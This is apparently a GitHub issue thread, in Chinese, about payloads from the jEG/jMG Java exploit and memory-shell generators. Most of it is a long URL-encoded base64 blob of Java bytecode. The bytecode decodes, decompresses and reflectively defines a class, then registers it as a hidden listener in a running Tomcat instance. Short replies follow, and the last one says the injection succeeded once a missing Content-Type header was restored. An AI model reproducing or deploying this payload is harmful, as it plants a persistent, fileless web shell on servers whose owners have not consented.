RhcmRDb250ZXh0CAB%2bAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDACAAIELACUAggEAFVRvbWNhdEVtYmVkZGVkQ29udGV4dAgAhAEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAIYAhwoAUACIAQAIdG9TdHJpbmcMAIoABgoAfACLAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcggAjQEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIIAI8BAAlyZXNvdXJjZXMIAJEIAB0BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcAlAEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgwAEgCWCgCVAJcBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAmQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAJsBACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCdAQAJU2lnbmF0dXJlAQAmKClMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwChAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAKsBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAK0ArgoAUACvAQAOZ2V0Q2xhc3NMb2FkZXIMALEAhwoAfACyDAAFAAYKAAIAtAEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMALYAtwoArAC4AQALbmV3SW5zdGFuY2UMALoAOAoAfAC7DAAKAAYKAAIAvQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAL8AwAoAAgDBAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAMMAxAoAAgDFCAClBwCkAQARamF2YS9sYW5nL0ludGVnZXIHAMkBAARUWVBFDADLAKgJAMoAzAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAzgDPCgB8ANABABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHANIBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA1ADVCgDTANYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA2ADZCgDKANoBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMANwA3QoA0wDeAQAHb2JqZWN0cwEAE1tMamF2YS9sYW5nL09iamVjdDsBAAlsaXN0ZW5lcnMBAAlhcnJheUxpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAppc0luamVjdGVkAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylaDADlAOYKAAIA5wEAG2FkZEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcggA6QEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWADrCgACAOwBABxnZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzCADuBwDhAQAQamF2YS91dGlsL0FycmF5cwcA8QEABmFzTGlzdAEAJShbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL3V0aWwvTGlzdDsMAPMA9AoA8gD1AQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgwAEgD3CgBUAPgKAFQAggEAHHNldEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcnMIAPsBAAd0b0FycmF5AQAVKClbTGphdmEvbGFuZy9PYmplY3Q7DAD9AP4KAFQA/wEAAWkBAAFJAQANZXZpbENsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHNpemUBAAMoKUkMAQUBBgoAVAEHAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DAB0AQkKAFQBCgEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAERAQAHZm9yTmFtZQwBEwC3CgB8ARQBAAxkZWNvZGVCdWZmZXIIARYBAAlnZXRNZXRob2QMARgAzwoAfAEZAQAQamF2YS51dGlsLkJhc2U2NAgBGwEACmdldERlY29kZXIIAR0BAAZkZWNvZGUIAR8BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBIQEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBLAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAS4BAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBMAoBLQApAQAFKFtCKVYMABIBMwoBLwE0AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAASATYKATEBNwEABHJlYWQBAAUoW0IpSQwBOQE6CgExATsBAAV3cml0ZQEAByhbQklJKVYMAT0BPgoBLQE/AQALdG9CeXRlQXJyYXkBAAQoKVtCDAFBAUIKAS0BQwEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAUkBSgoAAgFLAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAU0KAU4A1goBTgB1AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwFRAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAFUAVUKAHwBVgEADWdldFN1cGVyY2xhc3MMAVgAeAoAfAFZCgFSABQBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAV8BABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwBaAFpCgB8AWoKANMAXQEABmVxdWFscwwBbQCBCgAPAW4BABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7DAFwAXEKANMBcgoAnAAUAQAKZ2V0TWVzc2FnZQwBdQAGCgCaAXYKAJUAFAEACDxjbGluaXQ%2bCgACACkAIQACAAQAAAAAAA4AAQAFAAYAAQAHAAAAEAABAAEAAAAEEwAJsAAAAAAAAQAKAAYAAgALAAAABAABAA0ABwAAABcAAwABAAAAC7sAD1kTABG3ABWwAAAAAAABABIAFgABAAcAAADYAAMABQAAADYqtwAqKrYALkwruQAyAQBNLLkANgEAmQAbLLkAOgEATiottwA%2bOgQqLRkEtgBCp//ipwAETLEAAQAEADEANAAYAAQAGQAAACYACQAAACQABAAmAAkAJwAgACgAJwApAC4AKgAxAC0ANAArADUAMAAaAAAAKgAEACcABwAbABwABAAgAA4AHQAcAAMACQAoAB4AHwABAAAANgAgACEAAAAiAAAADAABAAkAKAAeACMAAQAoAAAAGgAE/wAQAAMHAAIHACUHACcAAPkAIEIHABgAAAEAKwAsAAMABwAAAtgAAwAOAAABebsAVFm3AFVMElASV7gAW8AATsAATk0BTiw6BBkEvjYFAzYGFQYVBaIBQRkEFQYyOgcZB7YAXhJgtgBkmQCzLccArxkHEma4AGkSa7gAaRJsuABpwABSOggZCLYAcLkAcwEAOgkZCbkANgEAmQCAGQm5ADoBADoKGQgZCrYAdhJsuABpwABSOgsZC7YAcLkAcwEAOgwZDLkANgEAmQBNGQy5ADoBADoNGQsZDbYAdk4txgAaLbYAerYAfRJ/tgBkmQALKy25AIMCAFctxgAaLbYAerYAfRKFtgBkmQALKy25AIMCAFen/6%2bn/3ynAHcZB7YAicYAbxkHtgCJtgB6tgCMEo62AGSaABYZB7YAibYAerYAjBKQtgBkmQBJGQe2AIkSkrgAaRKTuABpTi3GABottgB6tgB9En%2b2AGSZAAsrLbkAgwIAVy3GABottgB6tgB9EoW2AGSZAAsrLbkAgwIAV4QGAaf%2bvqcADzoEuwCVWRkEtwCYvyuwAAEAGAFoAWsAGAAEABkAAAByABwAAAAzAAgANAAWADUAGAA3ADEAOQBCADoAWAA9AHcAPgCIAEEApwBCAK8AQwDCAEQAygBGAN0ARwDlAEgA6ABJAOsASgDuAEwBHABNASwATgE/AE8BRwBQAVoAUQFiADcBaABWAWsAVAFtAFUBdwBXABoAAABmAAoApwA%2bAEMAHAANAIgAYABEAEUACwB3AHEARgAcAAoAWACTAEcARQAIADEBMQBIAEkABwFtAAoASgBLAAQAAAF5ACAAIQAAAAgBcQAeAB8AAQAWAWMATABNAAIAGAFhAB0AHAADACIAAAAMAAEACAFxAB4AIwABACgAAABPAA7/ACMABwcAAgcAJQcATgcABAcATgEBAAD%2bAEAHAFAHAFIHACf%2bAC8HAAQHAFIHACf8ADUHAAT6ABr4AAL5AAICLSr6ABr4AAVCBwAYCwALAAAACAADAJoAnACeAJ8AAAACAKAAAgA7ADwAAQAHAAABcAAGAAgAAACHAU24ALC2AIlOLccACyu2AHq2ALNOLSq2ALW2ALm2ALxNpwBkOgQqtgC%2buADCuADGOgUSrBLHBr0AfFkDEshTWQSyAM1TWQWyAM1TtgDROgYZBgS2ANcZBi0GvQAEWQMZBVNZBAO4ANtTWQUZBb64ANtTtgDfwAB8OgcZB7YAvE2nAAU6BSywAAIAFQAhACQAGAAmAIAAgwCiAAMAGQAAAD4ADwAAAFwAAgBdAAkAXgANAF8AFQBiACEAbAAkAGMAJgBlADIAZgBQAGcAVgBoAHoAaQCAAGsAgwBqAIUAbQAaAAAAUgAIADIATgCjAKQABQBQADAApQCmAAYAegAGAKcAqAAHACYAXwBKAEsABAAAAIcAIAAhAAAAAACHAB0AHAABAAIAhQAbABwAAgAJAH4AqQCqAAMAKAAAACsABP0AFQcABAcArE4HABj/AF4ABQcAAgcABAcABAcArAcAGAABBwCi%2bgABAAEAPwBAAAIABwAAARYABwAHAAAAcCorLLYAerYAfbYA6JkABLErEuoEvQB8WQMSBFMEvQAEWQMsU7gA7VenAEdOKxLvuABbwADwwADwOgQZBLgA9joFuwBUWRkFtwD5OgYZBiy2APpXKxL8BL0AfFkDEvBTBL0ABFkDGQa2AQBTuADtV7EAAQAQACgAKwAYAAMAGQAAAC4ACwAAAHEADwByABAAdQAoAH4AKwB2ACwAdwA6AHgAQQB5AEwAegBTAH0AbwB/ABoAAABIAAcAOgA1AOAA4QAEAEEALgDiAB8ABQBMACMA4wDkAAYALABDAEoASwADAAAAcAAgACEAAAAAAHAAHQAcAAEAAABwABsAHAACACgAAAAKAAMQWgcAGPsAQwALAAAABAABABgAAQDlAOYAAgAHAAAA8QADAAcAAABJKxLvuABbwADwwADwTi24APY6BLsAVFkZBLcA%2bToFAzYGFQYZBbYBCKIAHxkFFQa2AQu2AHq2AH0stgBkmQAFBKyEBgGn/90DrAAAAAMAGQAAACIACAAAAIIADQCDABMAhAAeAIUAKwCGAD8AhwBBAIUARwCKABoAAABIAAcAIQAmAQEBAgAGAAAASQAgACEAAAAAAEkAHQAcAAEAAABJAQMBBAACAA0APADgAOEAAwATADYA4gAfAAQAHgArAOMA5AAFACgAAAAgAAP/ACEABwcAAgcABAcADwcA8AcAJQcAVAEAAB/6AAUACwAAAAQAAQAYAAgAvwDAAAIABwAAAQUABgAEAAAAbxMBErgBFUwrEwEXBL0AfFkDEg9TtgEaK7YAvAS9AARZAypTtgDfwADIwADIsE0TARy4ARVMKxMBHgO9AHy2ARoBA70ABLYA304ttgB6EwEgBL0AfFkDEg9TtgEaLQS9AARZAypTtgDfwADIwADIsAABAAAALAAtABgABAAZAAAAGgAGAAAAkAAHAJEALQCSAC4AkwA1AJQASQCVABoAAAA0AAUABwAmAQwAqAABAEkAJgENABwAAwAuAEEBDgBLAAIAAABvAQ8BBAAAADUAOgEMAKgAAQAiAAAAFgACAAcAJgEMARAAAQA1ADoBDAEQAAEAKAAAAAYAAW0HABgACwAAAAoABAEiAJwAngCaAAkAwwDEAAIABwAAANQABAAGAAAAPrsBLVm3ATJMuwEvWSq3ATVNuwExWSy3AThOEQEAvAg6BC0ZBLYBPFk2BZsADysZBAMVBbYBQKf/6yu2AUSwAAAAAwAZAAAAHgAHAAAAmgAIAJsAEQCcABoAnQAhAJ8ALQCgADkAogAaAAAAPgAGAAAAPgEjAKQAAAAIADYBJAElAAEAEQAtASYBJwACABoAJAEoASkAAwAhAB0BKgCkAAQAKgAUASsBAgAFACgAAAAcAAL/ACEABQcAyAcBLQcBLwcBMQcAyAAA/AAXAQALAAAABAABAA0ACABnAFkAAgAHAAAAVwACAAMAAAARKiu4AUxNLAS2AU8sKrYBULAAAAACABkAAAAOAAMAAACmAAYApwALAKgAGgAAACAAAwAAABEBRQAcAAAAAAARAUYBBAABAAYACwFHAUgAAgALAAAABAABABgACAFJAUoAAgAHAAAAxwADAAQAAAAoKrYAek0sxgAZLCu2AVdOLQS2AU8tsE4stgFaTaf/6bsBUlkrtwFbvwABAAkAFQAWAVIABAAZAAAAJgAJAAAArAAFAK0ACQCvAA8AsAAUALEAFgCyABcAswAcALQAHwC2ABoAAAA0AAUADwAHAUcBSAADABcABQBKAVMAAwAAACgBRQAcAAAAAAAoAUYBBAABAAUAIwCnAKgAAgAiAAAADAABAAUAIwCnARAAAgAoAAAADQAD/AAFBwB8UAcBUggACwAAAAQAAQFSACgAWABZAAIABwAAAEIABAACAAAADiorA70AfAO9AAS4AO2wAAAAAgAZAAAABgABAAAAugAaAAAAFgACAAAADgFcABwAAAAAAA4BXQEEAAEACwAAAAgAAwCcAJoAngApAFgA6wACAAcAAAIXAAMACQAAAMoqwQB8mQAKKsAAfKcAByq2AHo6BAE6BRkEOgYZBccAZBkGxgBfLMcAQxkGtgFrOgcDNggVCBkHvqIALhkHFQgytgFsK7YBb5kAGRkHFQgytgFzvpoADRkHFQgyOgWnAAmECAGn/9CnAAwZBisstgDROgWn/6k6BxkGtgFaOgan/50ZBccADLsAnFkrtwF0vxkFBLYA1yrBAHyZABoZBQEttgDfsDoHuwCVWRkHtgF3twF4vxkFKi22AN%2bwOge7AJVZGQe2AXe3AXi/AAMAJQByAHUAnACcAKMApACaALMAugC7AJoAAwAZAAAAbgAbAAAAvgAUAL8AFwDBABsAwgAlAMQAKQDGADAAxwA7AMgAVgDJAF0AygBgAMcAZgDNAGkAzgByANIAdQDQAHcA0QB%2bANIAgQDUAIYA1QCPANcAlQDYAJwA2gCkANsApgDcALMA4AC7AOEAvQDiABoAAAB6AAwAMwAzAQEBAgAIADAANgFeAV8ABwB3AAcASgFgAAcApgANAEoBYQAHAL0ADQBKAWEABwAAAMoBRQAcAAAAAADKAV0BBAABAAAAygFiAWMAAgAAAMoBZADhAAMAFAC2AKcAqAAEABcAswFlAKYABQAbAK8BZgCoAAYAKAAAAC8ADg5DBwB8/gAIBwB8BwDTBwB8/QAXBwFnASz5AAUCCEIHAJwLDVQHAJoORwcAmgALAAAACAADAJwAngCaAAgBeQAWAAEABwAAACUAAgAAAAAACbsAAlm3AXpXsQAAAAEAGQAAAAoAAgAAACEACAAiAAA%3d

预期响应

image
dpyol commented 8 months ago

image 这个是正常的

pen4uin commented 8 months ago

那说明 jeg 和 jmg 生成的 payload 都没问题,你重放你注入失败的 payload ,看看日志

dpyol commented 8 months ago

找到原因了,header头删掉了Content-Type: application/x-www-form-urlencoded这个。重新加上去就注入成功了。